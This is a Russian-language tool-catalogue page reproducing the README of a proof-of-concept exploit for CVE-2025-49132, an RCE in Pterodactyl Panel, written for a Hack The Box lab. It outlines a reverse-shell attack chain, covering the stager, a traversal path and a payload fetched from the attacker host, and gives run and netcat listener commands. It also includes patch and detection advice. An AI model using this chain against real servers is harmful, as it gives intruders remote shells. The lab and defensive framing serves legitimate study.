Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — Этот репозиторий содержит эксплойт RCE для машины Pterodactyl с HTB. | Kitploit
Инструменты/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

Этот репозиторий содержит эксплойт RCE для машины Pterodactyl с HTB.

Репозиторий
11724 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pterodactyl Panel Locale RCE (CVE-2025-49132) — Образовательный PoC

scope cve python license

Только для авторизованного тестирования и обучения защите.
Этот репозиторий предназначен для контролируемых лабораторных сред (например, CTF/HTB-подобных стендов), где вы владеете целевой системой или имеете явное письменное разрешение на её тестирование.

Контекст

Этот репозиторий содержит образовательный Python-прототип (pterodactyl_rce.py) для реальной уязвимости, затрагивающей Pterodactyl Panel до версии v1.11.11. При уязвимых конфигурациях неаутентифицированный злоумышленник может добиться удалённого выполнения кода через конечную точку /locales/locale.json из-за некорректной обработки параметров locale и namespace.

Этот вариант PoC нацелен на среды, где установлен PHP-PEAR, и был создан/проверен на вышедшей из ротации машине Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Он также может работать в других лабораторных стендах при соблюдении тех же условий.

Ссылка на уязвимость

  • GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • Затронуто: Pterodactyl Panel < 1.11.11
  • Исправлено в: v1.11.11 (патч-коммит 24c82b0…)

Общая идея (как работает PoC)

На высоком уровне PoC выполняет следующие шаги:

  1. Генерирует reverse TCP ELF-пейлоад для Linux x64 с помощью msfvenom.
  2. Раздаёт этот ELF через HTTP-сервер (один запрос, затем завершение работы).
  3. Использует уязвимую обработку /locales/locale.json, чтобы записать PHP-«стаггер» в /tmp (через трюк с PEAR pearcmd config-create).
  4. Запускает стаггер через конечную точку locales, чтобы он:
    • загрузил ELF в /tmp,
    • сделал его исполняемым,
    • выполнил его для обратного подключения к вашему слушателю.

Скрипт использует сырой HTTP-клиент вместо curl для шага «загрузки», потому что некоторые инструменты могут нормализовать или кодировать символы так, что это сломает сформированный запрос.

Примечание: Этот README намеренно остаётся на защитном/образовательном уровне. Используйте код только в средах, где вам разрешено тестирование.


Требования (локально)

  • Python 3.10+ (протестировано только со стандартной библиотекой)
  • msfvenom, доступный в $PATH (Metasploit Framework)
  • nc (netcat), если вы хотите, чтобы PoC автоматически запускал слушатель
  • Сетевая доступность между вашей лабораторной машиной и вашим лабораторным экземпляром Pterodactyl

Конфигурация

Скрипт ожидает hostname панели HTB в исходном коде:

host = "panel.pterodactyl.htb"

Кроме того, жёстко заданный путь к PHP-PEAR установлен как: ../../../../../usr/share/php/PEAR. Если вы тестируете это за пределами машины Pterodactyl, вам потребуется изменить этот путь в соответствии с вашей локальной конфигурацией.


Использование (только в контролируемой лаборатории)

1) Базовый запуск (с автоматическим слушателем)

python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: ваш IP для обратного подключения, доступный лабораторному серверу
  • <LPORT>: порт для приёма reverse shell

2) Запуск без автоматического слушателя

Если вы предпочитаете запустить собственный слушатель:

python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

Затем в другом терминале:

nc -lvnp <LPORT>

Пример (заглушка)

python3 pterodactyl_rce.py 10.10.14.225 5555

Вывод / чего ожидать

Типичный ход работы:

  • Генерируется ELF-пейлоад (имя файла со случайной составляющей, например shell_ab12cd34)
  • Запускается одноразовый HTTP-сервер на :8080
  • Создаётся PHP-стаггер в /tmp/<random>.php
  • Стаггер запускается
  • Локальный ELF-файл удаляется после запуска
  • Выводится подсказка по улучшению вашей оболочки (PTY)

Скриншот успешной эксплуатации:

Reverse shell

Известные проблемы / лабораторные заметки

  • Нестабильность стенда: целевая машина/сервис может быть нестабильными (таймауты, периодические 5xx, задержки выполнения). Если запуск не удался, повторите через небольшую паузу.
  • Повторное использование старого пейлоада: среда иногда может срабатывать на ранее загруженный/развёрнутый файл. Скрипт удаляет только локальный файл на атакующей машине, но не трогает файл в папке /tmp/ на целевой машине. Варианты обхода:
    • Повторный запуск с новым случайным именем пейлоада (поведение по умолчанию в этом скрипте).
    • Изменение начального порта http.server с 8080 на другой порт.
    • Изменение порта вашего слушателя (например, 4444 → 5555) и перегенерация пейлоада.
    • Убедитесь, что ваш HTTP-сервер раздаёт текущий файл (остановите предыдущий сервер/слушатель).
    • Если у вас есть доступ, вручную удалите старые артефакты /tmp/<name>.php на цели; в противном случае подождите некоторое время и повторите попытку.

Руководство по защите (что исправить / как обнаружить)

Патч / смягчение последствий

  • Обновитесь до Pterodactyl Panel v1.11.11 или новее.
  • Встроенного обходного пути, кроме патча, нет; вы можете заблокировать конечную точку /locales/locale.json на уровне веб-сервера, но это может сломать функции локализации.

Идеи для обнаружения

Ищите подозрительные запросы, например:

  • Запросы к /locales/locale.json с необычными последовательностями обхода каталогов в locale=
  • Странные значения namespace= (неожиданные имена, длинные строки, необычные символы)
  • Внезапное появление неожиданных файлов в /tmp/ на хосте панели

Сопоставляйте журналы веб-сервера с:

  • новыми процессами, запущенными от пользователя www / PHP-FPM
  • исходящими подключениями к нестандартным адресам/портам
  • неожиданным использованием curl/wget с хоста панели

Заметки об ответственном использовании

  • Не сканируйте и не тестируйте публичные экземпляры.
  • Если вы оператор уязвимого экземпляра, относитесь к этому как к критической проблеме и немедленно установите патч.

Благодарности

  • Оригинальный PoC: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) от Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • Автор отчёта / заслуга в обнаружении: GitHub advisory указывает @azimoff337 за сообщение об GHSA-24wv-6c99-f843 / CVE-2025-49132.
  • База данных GitHub Advisory / процесс CVE: за отслеживание и публикацию деталей уязвимости.
  • Hack The Box (HTB): этот PoC был создан/проверен в контролируемой лабораторной среде в стиле HTB для обучения и защитных исследований.
    Без спойлеров к активному контенту HTB.
Скачать инструмент